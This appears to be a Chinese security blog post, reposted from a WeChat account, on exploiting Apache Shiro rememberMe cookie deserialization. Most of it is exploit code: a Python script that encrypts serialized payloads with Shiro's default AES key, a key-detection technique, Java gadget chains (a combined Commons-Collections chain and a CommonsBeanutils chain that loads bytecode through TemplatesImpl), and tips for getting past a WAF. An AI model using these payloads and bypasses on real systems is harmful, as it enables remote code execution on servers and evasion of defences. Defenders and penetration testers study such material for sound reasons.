Shiro反序列化相关

admin 2024年2月18日16:05:39评论11 views字数 3905阅读13分1秒阅读模式

原理

获取Cookie中rememberMe的值    · 对rememberMe进行Base64解码    · 使用AES进行解密    · 对解密的值进行反序列化      这样的话攻击者就可以通过构造一个恶意的payload序列化之后 然后进行Base64加密以及AES加密发送给Shiro服务端,服务端会进行Base64解密以及AES解码之后进行反序列化。

Shiro Key检测

当使用错误key进行AES加密和Base64编码之后发送给服务端在响应包中会有 rememberMe字段 但是如果使用正确的key进行AES加密和Base64编码的话是不会显示响应包中的。

这里的原理其实就是如果你的key如果正确的话,那么其实也会抛出异常,因为类型转换错误,所以也会设置rememberMe=delete。这是因为你的类型不是PrincipalCollection类型,所以我们只需要构造一个继承于它的类即可,然后进行序列化发送到shiro端来判断key是否正确,如果正确的话是不会设置rememberMe字段的,如果不正确的话会抛出异常,异常中就会设置rememberMe=delete字段。

 SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();        serialie(simplePrincipalCollection);

URLDNS链

首先进行序列化之后 进行AES加密 然后Base64进行编码

import uuidimport base64import sysfrom random import Randomfrom Crypto.Cipher import AES def get_file_data(filename):    with open(filename, 'rb') as f:        data = f.read()    return data def aes_enc(data):    BS = AES.block_size    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = uuid.uuid4().bytes    encryptor = AES.new(base64.b64decode(key), mode, iv)    ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))    return ciphertext def aes_dec(enc_data):    enc_data = base64.b64decode(enc_data)    unpad = lambda s : s[:-s[-1]]    key = "kPH+bIxk5D2deZiIxcaaaA=="    mode = AES.MODE_CBC    iv = enc_data[:16]    encryptor = AES.new(base64.b64decode(key), mode, iv)    plaintext = encryptor.decrypt(enc_data[16:])    plaintext = unpad(plaintext)    return plaintext if __name__ == '__main__':    data = get_file_data("ser.bin")    print(aes_enc(data))

需要注意的是 需要将JSESSIONID干掉之后再去加rememberMe即可

Shiro CC链

需要注意的是Shiro打CC链的话,你的POC中不能出现Transformer数组,因为shiro使用的不是原生的类加载器去加载的,所以需要通过CC2 + CC3 + CC6组合链进行打。

TemplatesImpl templates = new TemplatesImpl();        Class<? extends TemplatesImpl> clazz = templates.getClass();        Field name = clazz.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"12312");        Field bytecodes = clazz.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Base64.getDecoder().decode("xxxx");        bytecodes.set(templates,new byte[][]{code});InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);        HashMap map = new HashMap();        Map decorate = LazyMap.decorate(map, new ConstantTransformer(1));        TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, templates);        HashMap<Object,Object> map2 = new HashMap<>();        map2.put(tiedMapEntry,"bbb");        decorate.remove(templates);        Class<LazyMap> lazyMapClass = LazyMap.class;        Field factory = lazyMapClass.getDeclaredField("factory");        factory.setAccessible(true);        factory.set(decorate,transformer);        serialie(map2);

Shiro绕过思路

绕过WAF
  1. 利用NSLOOKUP对域名进行解析,如果对域名加了WAF,我们可以修改hosts文件绑定域名进行攻击。

  2. 将请求方式删除掉,比如GET或者POST。

    Shiro反序列化相关

  3. 给rememberMe字段中添加$符号,因为在Shiro AES解密之前需要先对该字段进行BASE64解码,而在解码方法中有一个discardNonBase64方法,这个方法是去除非BASE64的字符。

Shiro反序列化相关

Shiro CB链

PriorityQueue#readObject() -->     PriorityQueue#heapify() -->      PriorityQueue#siftDown() -->        PriorityQueue#siftDownUsingComparator() -->          BeanComparator#compare() -->            PropertyUtils#getProperty(Templeats,"outputproperties") -->              TemplatesImpl#getOutputProperties() -->                TemplatesImpl#newTransformer() -->                  TransletClassLoader#defineClass()
TemplatesImpl templates = new TemplatesImpl();        Class<? extends TemplatesImpl> clazz = templates.getClass();        Field name = clazz.getDeclaredField("_name");        name.setAccessible(true);        name.set(templates,"12312");        Field bytecodes = clazz.getDeclaredField("_bytecodes");        bytecodes.setAccessible(true);        byte[] code = Base64.getDecoder().decode("xxx");        bytecodes.set(templates,new byte[][]{code});     TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);        priorityQueue.add(templates);        priorityQueue.add(templates);        //CB        BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());        Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;        Field field = priorityQueueClass.getDeclaredField("comparator");        field.setAccessible(true);        field.set(priorityQueue,beanComparator);        serialie(priorityQueue);        unserialie("ser2.bin");

原文始发于微信公众号(Relay学安全):Shiro反序列化相关

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月18日16:05:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shiro反序列化相关http://cn-sec.com/archives/2500938.html

发表评论

匿名网友 填写信息